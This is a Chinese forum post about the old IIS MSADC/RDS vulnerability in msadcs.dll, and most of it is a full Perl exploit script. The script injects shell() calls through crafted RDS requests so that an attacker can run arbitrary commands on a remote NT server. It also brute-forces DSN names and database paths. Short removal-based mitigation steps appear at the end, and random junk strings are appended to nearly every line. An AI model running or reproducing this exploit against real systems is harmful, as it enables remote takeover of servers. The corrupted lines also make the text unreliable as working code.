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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Rla*hc~  
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涉及程序: .=<pU k 3G  
Microsoft NT server ) FsSXnZL  
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描述: U9%nku4  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 /R?uxhV  
f;6d/?=~  
详细: =?x=CEW  
如果你没有时间读详细内容的话,就删除: 1Vvx@1  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Q |r1.  
有关的安全问题就没有了。 TuR?r`P%  
En%o7^W++  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 OF}_RGKg3  
%Q01EjRes  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 4IpFT;`q  
关于利用ODBC远程漏洞的描述,请参看: WWz ns[$f  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm l$@lk?dc  
1a4$. {  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 !0_Y@>2  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp q&x#S_!  
JB}h }nb  
这里不再论述。 WWs>@lCK  
'v5gg2  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: mSp7H!  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset G7xjW6^T  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! k82LCV+6  
eeZ9 w~<  
7t/SZm  
#将下面这段保存为txt文件,然后: "perl -x 文件名" RGOwm~a  
x/v+7Pt_  
#!perl $*> _0{<  
# KL{ uhb0f  
# MSADC/RDS 'usage' (aka exploit) script &WS%sE{p_  
# lsf?R'1  
# by rain.forest.puppy eu/Sp3@v  
# -I<`!kH*  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me o?\Pw9Y  
# beta test and find errors! l^Z~^.{y  
oDK\v8w-  
use Socket; use Getopt::Std; 7qp|Msf},  
getopts("e:vd:h:XR", \%args); )f|6=x4  
I>|?B( F  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; j(N9%/4u  
81 C?U5  
if (!defined $args{h} && !defined $args{R}) { ,]' !2?  
print qq~ 53xq%  
Usage: msadc.pl -h <host> { -d <delay> -X -v } *2hzReM  
-h <host> = host you want to scan (ip or domain) Cl=ExpX/O  
-d <seconds> = delay between calls, default 1 second ~Y[b QuA=)  
-X = dump Index Server path table, if available )`0 j\  
-v = verbose kv2:rmv  
-e = external dictionary file for step 5 H%V[% T4=  
3iwZUqyq  
Or a -R will resume a command session Ews Ja3 `  
<ZEll[0L  
~; exit;} CdjGYS  
M3;B]iRQD  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; OW^7aw(N6  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} &-tf/qJ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} s4*,ocyBP  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ^\;5O(9  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} UNHHzTsr?  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } YTA  &G  
ggWfk  
if (!defined $args{R}){ $ret = &has_msadc; dDn:^)  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 4G2V{(@QiZ  
cgAcAcmY  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" kdq55zTc<6  
. "cmd /c "; 2sH5<5G'  
$in=<STDIN>; chomp $in; .`9KB3  
$command="cmd /c " . $in ; Mf"B!WU>]B  
stScz#!  
if (defined $args{R}) {&load; exit;}  (w fZ!  
=XB)sC%  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ce\-oT  
&try_btcustmr; bv0 %{u&  
I Cs1=  
print "\nStep 2: Trying to make our own DSN..."; vhW '2<(  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ?*0kQo'  
N:.bnF(  
print "\nStep 3: Trying known DSNs..."; 9yPB)&"EF  
&known_dsn; =T`-h"E~@  
XhiC'.B_  
print "\nStep 4: Trying known .mdbs..."; kzT'  
&known_mdb; 3lqhjA  
X"sN~Q.0  
if (defined $args{e}){ TM;)[R@  
print "\nStep 5: Trying dictionary of DSN names..."; V8/o@I{U[  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } nEYJ?_55  
bC|~N0b  
print "Sorry Charley...maybe next time?\n"; z m%\L/BF  
exit; "lt[)3*  
PE>_;k-@k  
############################################################################## lAQ&PPQ  
qZ.\GHS  
sub sendraw { # ripped and modded from whisker {lA@I*_lj  
sleep($delay); # it's a DoS on the server! At least on mine... mdd~B2"el  
my ($pstr)=@_; zc#`qa:0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ]SI`fja/  
die("Socket problems\n"); Q2o:wXvj  
if(connect(S,pack "SnA4x8",2,80,$target)){ P!/8   
select(S); $|=1; uQlVzN.?  
print $pstr; my @in=<S>; idq= US  
select(STDOUT); close(S); QK\z-'&n  
return @in; * gnL0\*  
} else { die("Can't connect...\n"); }} slbV[xR  
~F-,Q_|-  
############################################################################## gQ[4{+DSf  
%WR  
sub make_header { # make the HTTP request - U|4`{PP  
my $msadc=<<EOT 3ba"[C|  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 l`k3!EZDS  
User-Agent: ACTIVEDATA C*$/J\6xy  
Host: $ip >4c 1VEi  
Content-Length: $clen 4^r}&9C ~  
Connection: Keep-Alive G(- `FH  
wFD .3!  
ADCClientVersion:01.06 x8^Dhpr6  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 9bB~r[k  
&}oDSD H^,  
--!ADM!ROX!YOUR!WORLD! Z,z^[Jz  
Content-Type: application/x-varg ROS0Q9X  
Content-Length: $reqlen B4?P"|  
K"D9.%7  
EOT F=#Wfl-o  
; $msadc=~s/\n/\r\n/g; bF.Aj8ZQ  
return $msadc;} c=5$bo]LI  
C,E 5/XW  
############################################################################## AG?oA328  
>HDK< 1>  
sub make_req { # make the RDS request ?s//a_nL*  
my ($switch, $p1, $p2)=@_; )`)cB)s  
my $req=""; my $t1, $t2, $query, $dsn; Ez )Go6Q  
vc<8ApK3V  
if ($switch==1){ # this is the btcustmr.mdb query t9kgACo/M  
$query="Select * from Customers where City=" . make_shell(); L\UYt\ks  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . $I'ES#8P6  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} lxeolDl  
t?s1@}G^  
elsif ($switch==2){ # this is general make table query })":F  
$query="create table AZZ (B int, C varchar(10))"; c09uCito  
$dsn="$p1";} SFjN 5u  
q&vr;f B2  
elsif ($switch==3){ # this is general exploit table query j<c_*^/'9  
$query="select * from AZZ where C=" . make_shell(); ;tHF$1!J  
$dsn="$p1";} tP\Utl-0  
ojaZC,}  
elsif ($switch==4){ # attempt to hork file info from index server B\Uj  
$query="select path from scope()"; gP} M\3-O  
$dsn="Provider=MSIDXS;";} +mY(6|1  
p(Sfw>t(  
elsif ($switch==5){ # bad query ~[C m#c  
$query="select"; ^^v!..V]J  
$dsn="$p1";} uW]n3)7<I  
a^22H  
$t1= make_unicode($query); -6? 5|\  
$t2= make_unicode($dsn); b@7 ItzD  
$req = "\x02\x00\x03\x00"; o,29C7Ii  
$req.= "\x08\x00" . pack ("S1", length($t1)); /+rHy7(\  
$req.= "\x00\x00" . $t1 ; M8h9i2  
$req.= "\x08\x00" . pack ("S1", length($t2)); *+ b[v7  
$req.= "\x00\x00" . $t2 ; yEH30zSt  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; `18G 5R  
return $req;} J~= =<?j:  
0j*8|{|  
############################################################################## oOuWgr]0  
|')Z;  
sub make_shell { # this makes the shell() statement z2r{AQ.&  
return "'|shell(\"$command\")|'";} kWgxswl7H  
?g!)[p`v  
############################################################################## q|S }5  
!a  /  
sub make_unicode { # quick little function to convert to unicode O:1YG$uKa  
my ($in)=@_; my $out; /V,:gLpQ  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 8 }-"&-X  
return $out;} 5[0n'uH  
6%)dsTAB  
############################################################################## P? >p+dM  
HH>]"mv  
sub rdo_success { # checks for RDO return success (this is kludge) /@0wbA  
my (@in) = @_; my $base=content_start(@in); zgLm~  
if($in[$base]=~/multipart\/mixed/){ P5[.2y_qM  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} >]Y`-*vw&  
return 0;} o0AREZ+I  
r t f}4.  
############################################################################## NbSwn}e_  
=x=#Etj|  
sub make_dsn { # this makes a DSN for us 'E6)6N  
my @drives=("c","d","e","f"); myH#.$=A  
print "\nMaking DSN: "; !.9NJ2'8  
foreach $drive (@drives) { L='GsjF0}  
print "$drive: "; KX{S8_  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . &7;W=uF  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" w* v%S   
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); =E{1QA0  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; QH+Oi&xH  
return 0 if $2 eq "404"; # not found/doesn't exist Pj^6.f+  
if($2 eq "200") { 5=l Ava#  
foreach $line (@results) { [&e}@!8O`  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} MwiT1sB~  
} return 0;} #*5A]"k  
n:HF&j4C,  
############################################################################## xmbkn}@A  
Tc{r}y[)  
sub verify_exists { R`Q9|yF\  
my ($page)=@_; |06G)r&  
my @results=sendraw("GET $page HTTP/1.0\n\n"); h T4fKc7P  
return $results[0];} u"nyx0<  
tlc&Wx  
############################################################################## i: 1V\q%  
Tf` ~=fg%  
sub try_btcustmr { o[_ {\  
my @drives=("c","d","e","f"); rqifjsv  
my @dirs=("winnt","winnt35","winnt351","win","windows"); s<n5^Vxy  
[5>0om5  
foreach $dir (@dirs) {  dY|(  
print "$dir -> "; # fun status so you can see progress gwNv ;g  
foreach $drive (@drives) { hV_0f_Og  
print "$drive: "; # ditto Y*J,9  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ,myl9s  
$reqlenlen=length( "$reqlen" ); EFhe``  
$clen= 206 + $reqlenlen + $reqlen; =Bl#CE)X  
H~fZA)W 4Y  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 5X'[{'i,  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} #k*e>d$  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} &vo]l~.  
;4%^4<+3  
############################################################################## Sa6}xe."M,  
N_h)L`  
sub odbc_error { 2UA h^i-^  
my (@in)=@_; my $base; flnoK%wi  
my $base = content_start(@in); n hS=t8H  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this |K7JU^"OQ  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; d.sxB}_O  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; C}%g(YRhb  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  ^~?VD  
return $in[$base+4].$in[$base+5].$in[$base+6];} v:eVK!O  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; B]#0]-ua  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . hK3?m.> "g  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} \ c9EE-  
[T.kwQf4$  
############################################################################## D>PB|rS@  
u<:R Sg  
sub verbose { nz~3o  
my ($in)=@_; zq8LQ4@ay  
return if !$verbose; [*Wq6n  
print STDOUT "\n$in\n";} C([TolZ  
>^{}Hjt  
############################################################################## |s+y]3-_  
C&D!TR!K  
sub save { X*/j na"*  
my ($p1, $p2, $p3, $p4)=@_; ZU5hHah.t  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 7jvf:#\LtL  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; [YLaR r  
close OUT;} ['Hl$2 j  
0PjWfM8%  
############################################################################## k& 2U&  
-$>R;L  
sub load { LY-fp+  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; QQj)"XJ29  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ?v \A&d  
@p=<IN>; close(IN); IR(qjm\V  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); mY+J ju1  
$target= inet_aton($ip) || die("inet_aton problems");  km|;T!  
print "Resuming to $ip ..."; q{nNWvL  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; /q0[T{Wz$  
if($p[1]==1) { jA?A)YNQb  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; P|Dw +lQj  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; \GO^2&g(  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); S=*rWh8)%<  
if (rdo_success(@results)){print "Success!\n";} 7LbBS:@3z_  
else { print "failed\n"; verbose(odbc_error(@results));}} <-D>^p9  
elsif ($p[1]==3){ OTY9Q  
if(run_query("$p[3]")){ z1{kZk  
print "Success!\n";} else { print "failed\n"; }} xrs?"]M[  
elsif ($p[1]==4){ :<r.n "  
if(run_query($drvst . "$p[3]")){ ]6bh#N;.  
print "Success!\n"; } else { print "failed\n"; }} +mIO*UQi  
exit;} . K s%ar  
L'iENZ I$  
############################################################################## tURjIt,I  
@G@,)`p4?  
sub create_table { )v !GiZ" 7  
my ($in)=@_; J^m#984  
$reqlen=length( make_req(2,$in,"") ) - 28; %}elh79H*  
$reqlenlen=length( "$reqlen" ); e$u=>=jV]  
$clen= 206 + $reqlenlen + $reqlen; '_N~PoV  
my @results=sendraw(make_header() . make_req(2,$in,"")); .B_LQ;0:   
return 1 if rdo_success(@results); [+\=x[q  
my $temp= odbc_error(@results); verbose($temp); 6vAq&Y{JB'  
return 1 if $temp=~/Table 'AZZ' already exists/; *](maF~%C  
return 0;} hd^?mZ  
x1VBO.t=*  
############################################################################## >x]b"@Hkw  
CoO..  
sub known_dsn { gi\2bzWkbX  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go :m#[V7  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", c>!zJA B  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", K%h9'}pq>1  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); @~,&E*X! .  
V3r1|{Z(  
foreach $dSn (@dsns) { lI~T>Lel2  
print "."; ZfsM($|a  
next if (!is_access("DSN=$dSn")); jM]B\cvN  
if(create_table("DSN=$dSn")){ h8B:}_Cu  
print "$dSn successful\n"; FOV%\=Hl  
if(run_query("DSN=$dSn")){ C-O~Oil  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { <#/r.}.x  
print "Something's borked. Use verbose next time\n";}}} print "\n";} k<(G)7'gm  
HI&N&a9C  
############################################################################## -5B>2K F  
(c AWT,  
sub is_access { 50kjX}  
my ($in)=@_; tUU`R{=(  
$reqlen=length( make_req(5,$in,"") ) - 28; 8S/SXyS  
$reqlenlen=length( "$reqlen" ); u5zL;C3O  
$clen= 206 + $reqlenlen + $reqlen; {BPNb{dBKr  
my @results=sendraw(make_header() . make_req(5,$in,"")); <q\OREMsq  
my $temp= odbc_error(@results); 69/aP=  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); HEh,Cf7`'  
return 0;} p)2 !_0  
}%2hBl/  
############################################################################## 9j<qi\SSI  
r&!Ebe-  
sub run_query { %:Mi6 sR|  
my ($in)=@_; y.vYT{^  
$reqlen=length( make_req(3,$in,"") ) - 28; ^F\RM4|,  
$reqlenlen=length( "$reqlen" ); l Oxz&m  
$clen= 206 + $reqlenlen + $reqlen; {;mT.[  
my @results=sendraw(make_header() . make_req(3,$in,"")); t7#lRp&  
return 1 if rdo_success(@results); r'*x><m'  
my $temp= odbc_error(@results); verbose($temp); 3kqO5+,C  
return 0;} ,'!x 9 `  
K!~j}z*  
############################################################################## VgGMlDl  
^EtBo7^t  
sub known_mdb { v<0\+}T1R  
my @drives=("c","d","e","f","g"); 5>CmWMQ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (B+CI%= D  
my $dir, $drive, $mdb; Q+bZZMK5,U  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; "- 2HKs  
WX~: Y,l+u  
# this is sparse, because I don't know of many ]]Bq te  
my @sysmdbs=( "\\catroot\\icatalog.mdb", l$_q#Kd  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", OeMI  
"\\system32\\certmdb.mdb", vX?MB  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Lsu_ f'p0  
>%6a$r~@  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ]cQYSN7!SY  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ({&\~"  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Y6W#u iqk  
"\\cfusion\\cfapps\\security\\realm_.mdb", U)v){g3w)  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ?`T0zpC  
"\\cfusion\\database\\cfexamples.mdb", |)5xmN]  
"\\cfusion\\database\\cfsnippets.mdb", Z01BzIsR  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", S2+X/YeB  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ke\gzP/  
"\\cfusion\\brighttiger\\database\\cleam.mdb", "R<c  
"\\cfusion\\database\\smpolicy.mdb", 3bK.8  
"\\cfusion\\database\cypress.mdb", fl@=h[g#t  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", x)}.@\&%  
"\\website\\cgi-win\\dbsample.mdb", h95a61a,Vy  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", W0-KFo.'  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 1 sJtkge:  
); #these are just wmV7g7t6  
foreach $drive (@drives) { O~P1d&:L  
foreach $dir (@dirs){ xxy (#j$  
foreach $mdb (@sysmdbs) { };{Qx  
print "."; CU`yi.)T{  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ]9A@iA  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; SH ow~wxw  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ vQH 6CB"  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;  C\`*_t  
} else { print "Something's borked. Use verbose next time\n"; }}}}} |(eRv?Qy@  
simD<&p  
foreach $drive (@drives) { !&(^R<-id  
foreach $mdb (@mdbs) { ioW&0?,Ym  
print "."; Z:(Zy  
if(create_table($drv . $drive . $dir . $mdb)){ ]nIH0k3y  
print "\n" . $drive . $dir . $mdb . " successful\n"; ;9&#Sb/  
if(run_query($drv . $drive . $dir . $mdb)){ ;6)Onwx  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 2#jBh   
} else { print "Something's borked. Use verbose next time\n"; }}}} MA`.&MA.  
} B+VD53 V  
3a Y^6&  
############################################################################## L$zB^lSM  
1XppC[))  
sub hork_idx { !+EE*-c1c  
print "\nAttempting to dump Index Server tables...\n"; E\Qm09Dj`<  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; qrr[QEFW  
$reqlen=length( make_req(4,"","") ) - 28; [z[<onFIq  
$reqlenlen=length( "$reqlen" ); /LK,:6  
$clen= 206 + $reqlenlen + $reqlen; F`Ld WA  
my @results=sendraw2(make_header() . make_req(4,"","")); D$?}M>  
if (rdo_success(@results)){ [ !<  
my $max=@results; my $c; my %d; 0Z4o3r[  
for($c=19; $c<$max; $c++){ 1CmjEAv%/  
$results[$c]=~s/\x00//g; )JsmzGC0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; "/k TEp  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; w}rsboU  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; E+"m@63  
$d{"$1$2"}="";} c0U=Hj@@  
foreach $c (keys %d){ print "$c\n"; } {t%Jc~p{  
} else {print "Index server doesn't seem to be installed.\n"; }} fbrCl!%P  
zn)Kl%N^  
############################################################################## "?HDv WP=w  
"3;b,<0  
sub dsn_dict { 'eYM;\%('  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); bXNM.K  
while(<IN>){ #S|DoeFs  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";  o%SD\zk  
next if (!is_access("DSN=$dSn")); N|-'Fu  
if(create_table("DSN=$dSn")){ ^[g7B"`K5  
print "$dSn successful\n"; Vh}F#~BrI  
if(run_query("DSN=$dSn")){ H&*KpOL  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { qP5'&!s&!  
print "Something's borked. Use verbose next time\n";}}} BG9.h!  
print "\n"; close(IN);} h0z>dLA#2  
JwNB)e D  
############################################################################## WV&grG|  
V4 8o+O  
sub sendraw2 { # ripped and modded from whisker uGz>AW8a3  
sleep($delay); # it's a DoS on the server! At least on mine... #qDMUN*i  
my ($pstr)=@_; j3Ps<<eA  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || E[a|.lnV  
die("Socket problems\n"); igO,Ge8}  
if(connect(S,pack "SnA4x8",2,80,$target)){ Qq{>]5<  
print "Connected. Getting data"; %] #XIr  
open(OUT,">raw.out"); my @in; SL$ bV2T  
select(S); $|=1; print $pstr; H"vkp~u]I  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 2A(?9 R9&h  
close(OUT); select(STDOUT); close(S); return @in; +t7n6  
} else { die("Can't connect...\n"); }} ?,z/+/:  
a d#4W0@S  
############################################################################## Oe)B.{;Ph  
\r`><d  
sub content_start { # this will take in the server headers ;7*R;/  
my (@in)=@_; my $c; G?dxLRy.do  
for ($c=1;$c<500;$c++) { nXJG4$G  
if($in[$c] =~/^\x0d\x0a/){ We)l_>G  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } a+=.(g  
else { return $c+1; }}} DFM~jlH  
return -1;} # it should never get here actually (N^tg8Z<  
6d{&1-@>  
############################################################################## (iJ9ekB  
xe@11/F  
sub funky { Vo`,|3^  
my (@in)=@_; my $error=odbc_error(@in); 8Cef ]@x  
if($error=~/ADO could not find the specified provider/){ rE?Fp  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ,LodP%%UV  
exit;} kNk$[Yfs  
if($error=~/A Handler is required/){ Hw 1:zro  
print "\nServer has custom handler filters (they most likely are patched)\n"; y*<x@i+h  
exit;} vAcxca">S  
if($error=~/specified Handler has denied Access/){ |w+N(wcJ  
print "\nServer has custom handler filters (they most likely are patched)\n"; Q4h6K 7  
exit;}} FMEW['  
k0@*Up3{7  
############################################################################## BN%;AQV  
[Ol~}@gV  
sub has_msadc { ,GUOq!z  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); /Bs42uJ3  
my $base=content_start(@results); N 9cCfB\`  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); U["-`:>jfp  
return 0;} DkJ "#8Yl=  
JU3to_Io  
######################## 73kU\ux  
$!v:@vNMs  
11YpC;[o  
解决方案: eufGU)M  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll g:eq B&&  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 QWI)Y:<K/  
-*[:3%  
拿出来充数 哈哈
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